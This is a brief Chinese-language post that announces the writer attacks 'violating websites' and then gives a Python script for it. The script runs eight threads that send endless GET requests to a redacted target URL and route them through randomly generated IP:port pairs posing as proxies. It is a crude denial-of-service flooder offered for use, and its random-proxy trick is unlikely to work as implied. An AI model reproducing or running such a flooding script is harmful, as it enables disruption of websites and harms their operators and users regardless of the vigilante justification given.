看到违规网站就是要攻击一下
代码如下:
import requests
import random
from threading import Thread
def get_ip(point):
str_ip = ''
for i in range(4):
if i!=3:
str_ip += str(random.choice(point))+'.'
else:
str_ip += str(random.choice(point))+':'+str(random.choice([i for i in range(3000,65535)]))
return str_ip
def get_pool():
point = [i for i in range(1,255)]
for i in range(10000):
yield {"http":get_ip(point)}
def thread_request(url,headers):
while True:
for ip_pool in get_pool():
r = requests.get(url,headers = headers,proxies = ip_pool)
if r.status_code==200:
print('请求正常,继续。。。。。。。')
def main():
headers = {'user-agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'}
url = '***************************************'
thread_list = []
for i in range(8):
thread = Thread(target = thread_request,args = (url,headers))
thread.start()
thread_list.append(thread)
for thread in thread_list:
thread.join()
if __name__=="__main__":
main()